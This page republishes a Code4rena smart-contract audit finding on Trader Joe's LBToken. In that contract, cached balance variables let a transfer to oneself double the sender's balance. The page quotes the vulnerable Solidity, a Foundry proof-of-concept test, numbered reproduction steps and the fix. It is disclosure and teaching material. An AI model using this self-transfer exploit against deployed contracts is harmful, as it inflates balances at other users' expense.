Skip to content
Smart contracts Audit finding Intermediate

Transfering funds to yourself increases your balance

The token transfer function used temporary variables to update balances, so when sender and recipient were the same address, the recipient balance was overwritten with the sender balance plus the amount, effectively doubling the balance. An attacker could repeatedly transfer tokens to themselves to inflate their balance without limit.

Dravee Follow with bitbopper, hansfriese and 15 others

Originally disclosed on Code4rena

Submitted by Dravee, also found by bitbopper, hansfriese, saian, Tutturu, JMukesh, 141345, neumo, parashar, Randyyy, phaze, hxzy, Lambda, cccz, SEVEN, ne0n, 8olidity, and RaoulSchaffranek

https://github.com/code-423n4/2022-10-traderjoe/blob/79f25d48b907f9d0379dd803fc2abc9c5f57db93/src/LBToken.sol#L182 https://github.com/code-423n4/2022-10-traderjoe/blob/79f25d48b907f9d0379dd803fc2abc9c5f57db93/src/LBToken.sol#L187 https://github.com/code-423n4/2022-10-traderjoe/blob/79f25d48b907f9d0379dd803fc2abc9c5f57db93/src/LBToken.sol#L189-L192

Using temporary variables to update balances is a dangerous construction that has led to several hacks in the past. Here, we can see that _toBalance can overwrite _fromBalance:

File: LBToken.sol
176:     function _transfer(
177:         address _from,
178:         address _to,
179:         uint256 _id,
180:         uint256 _amount
181:     ) internal virtual {
182:         uint256 _fromBalance = _balances[_id][_from];
...
187:         uint256 _toBalance = _balances[_id][_to];
188:
189:         unchecked {
190:             _balances[_id][_from] = _fromBalance - _amount;
191:             _balances[_id][_to] = _toBalance + _amount; //@audit : if _from == _to : rekt
192:         }
..
196:     }

Furthermore, the safeTransferFrom function has the checkApproval modifier which passes without any limit if _owner == _spender :

File: LBToken.sol
32:     modifier checkApproval(address _from, address _spender) {
33:         if (!_isApprovedForAll(_from, _spender)) revert LBToken__SpenderNotApproved(_from, _spender);
34:         _;
35:     }
...
131:     function safeTransferFrom(
...
136:     ) public virtual override checkAddresses(_from, _to) checkApproval(_from, msg.sender) {
...
269:     function _isApprovedForAll(address _owner, address _spender) internal view virtual returns (bool) {
270:         return _owner == _spender || _spenderApprovals[_owner][_spender];
271:     }

Proof of Concept

Add the following test to LBToken.t.sol (run it with forge test --match-path test/LBToken.t.sol --match-test testSafeTransferFromOneself -vvvv):

    function testSafeTransferFromOneself() public {
        uint256 amountIn = 1e18;

        (uint256[] memory _ids, , , ) = addLiquidity(amountIn, ID_ONE, 5, 0);

        uint256 initialBalance = pair.balanceOf(DEV, _ids[0]);

        assertEq(initialBalance, 333333333333333333); // using hardcoded value to ease understanding

        pair.safeTransferFrom(DEV, DEV, _ids[0], initialBalance); //transfering to oneself
        uint256 rektBalance1 = pair.balanceOf(DEV, _ids[0]); //computing new balance
        assertEq(rektBalance1, 2 * initialBalance); // the new balance is twice the initial one
        assertEq(rektBalance1, 666666666666666666); // using hardcoded value to ease understanding
    }

As we can see here, this test checks that transfering all your funds to yourself doubles your balance, and it’s passing. This can be repeated again and again to increase your balance.

Recommended Mitigation Steps

  • Add checks to make sure that _from != _to because that shouldn’t be useful anyway
  • Prefer the following:
File: LBToken.sol
189:         unchecked {
190:             _balances[_id][_from] -= _amount;
191:             _balances[_id][_to] += _amount;
192:         }

0x0Louis (Trader Joe) confirmed

Alex the Entreprenerd (judge) commented:

The Warden has shown how, due to the improper usage of a supporting temporary variable, balance duplication can be achieved.

Mitigation will require ensuring that the intended variable is changed in storage, and the code offered by the warden should help produce a test case to compare the fix against.

Because the finding pertains to duplication of balances, causing a loss for users, I agree with High Severity.


The original report as published on Code4rena, by Dravee. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The transfer function read the sender and recipient balances into temporary variables before updating storage, so when sender and recipient were the same address, the recipient update overwrote the sender update and added the amount to the original balance instead of subtracting it.

Impact

An attacker could duplicate their token balance repeatedly, causing a loss for other users and potentially draining value from the system.

What the attacker needed

A balance of the token; ability to call safeTransferFrom

The fix

The transfer function should update storage directly with subtraction and addition, and should also reject transfers where sender and recipient are the same address.

How it was found

  1. Add liquidity to obtain a balance of a token id.
  2. Call safeTransferFrom with the same address as sender and recipient, transferring the entire balance.
  3. Observe that the new balance is twice the initial balance.
  4. Repeat the self-transfer to keep doubling the balance.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A token contract keeps track of how many tokens each address owns. When you transfer tokens, it should subtract from the sender and add to the receiver. Here, because the code read both balances into temporary variables before writing, sending tokens to yourself made the contract add the amount to your old balance instead of subtracting first, so your balance grew. You could do this over and over to create tokens out of thin air.

What is Smart contracts?

Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.

More by Dravee

View all

9 more disclosed reports, best first.

More from Trader Joe v2 contest

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Smart contract vulnerabilities

The lesson behind this report.

Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.